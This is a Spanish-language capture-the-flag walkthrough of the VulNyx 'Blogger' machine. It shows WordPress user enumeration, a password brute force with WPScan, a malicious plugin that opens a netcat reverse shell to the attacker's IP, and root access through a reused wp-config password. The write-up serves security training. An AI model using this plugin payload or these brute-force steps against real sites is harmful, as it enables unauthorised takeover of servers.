🔵 NYX - Blogger
#vulnyx
#nyx
#linux
#wp
#wordpress
#wpscan
Diciembre 20, 2024 by Miguel R. (d4t4s3c)
Information
Blogger es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.
- Acceso inicial: Encuentro un WordPress y con WPScan enumero a un usuario y realizo fuerza bruta para obtener su password, accedo al WordPress con las credenciales obtenidas y cargo un plugin malicioso con código PHP y obtengo una shell.
- Escalada de privilegios: Se obtienen credenciales en el archivo config.php de WordPress y se reutilizan para el usuario root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 09:45 CET
Nmap scan report for 192.168.1.68
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
❯ nmap -sVC -p22,80 192.168.1.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 09:47 CET
Nmap scan report for 192.168.1.68
Host is up (0.00068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Shell (www-data)
80/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.68/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.68/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress (Status: 301) [Size: 316] [--> http://192.168.1.68/wordpress/]
/server-status (Status: 403) [Size: 277]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
WordPress
En la ruta /wordpress
como era de esperar encuentro un WordPress, el contenido no carga correctamente ya que las hojas de estilo apuntan al dominio megablog.nyx
que agrego a mi archivo /etc/hosts
Ahora desde el dominio megablog.nyx
ya se muestra el sitio correctamente
User Enumeration
Enumero al usuario peter
con WPScan
❯ wpscan --no-banner --url http://megablog.nyx/wordpress/ -e u
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <========================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] peter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Password Brute Force
Con WPScan obtengo el password peterpan
❯ wpscan --no-banner --url http://megablog.nyx/wordpress/ -U peter -P /opt/techyou.txt
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - peter / peterpan
Trying peter / chanel Time: 00:00:11 <========= > (1055 / 11055) 9.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: peter, Password: peterpan
Accedo a la ruta /wp-admin
con las credenciales obtenidas
Reverse Shell
Una vez dentro uso este plugin malicioso y lo comprimo en .zip
❯ cat plugin.php ;echo
<?php
/**
* Plugin Name: WordPress (Reverse Shell)
* Plugin URI: https://wordpress.org
* Description: (Pwn3d!)
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/
exec("busybox nc 192.168.1.10 443 -e /bin/sh");
?>
❯ zip plugin.zip plugin.php
adding: plugin.php (deflated 29%)
Upload Plugin
Obtengo la shell como usuario www-data
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.68] 40284
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
blogger
Privilege Escalation
En el archivo wp-config.php
encuentro las credenciales de conexión a MySQL
www-data@blogger:/$ cat /var/www/html/wordpress/wp-config.php |grep -E "DB_NAME|DB_PASSWORD"
define( 'DB_NAME', 'wordpress' );
define( 'DB_PASSWORD', 'm3g@Bl0g123' );
Existe una reutilización de credenciales y me convierto en usuario root
www-data@blogger:/$ su - root
Password:
root@blogger:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
blogger
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@blogger:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
1a109***************************
507ed***************************
Hasta aquí la resolución de la máquina Blogger.
Happy Hacking!
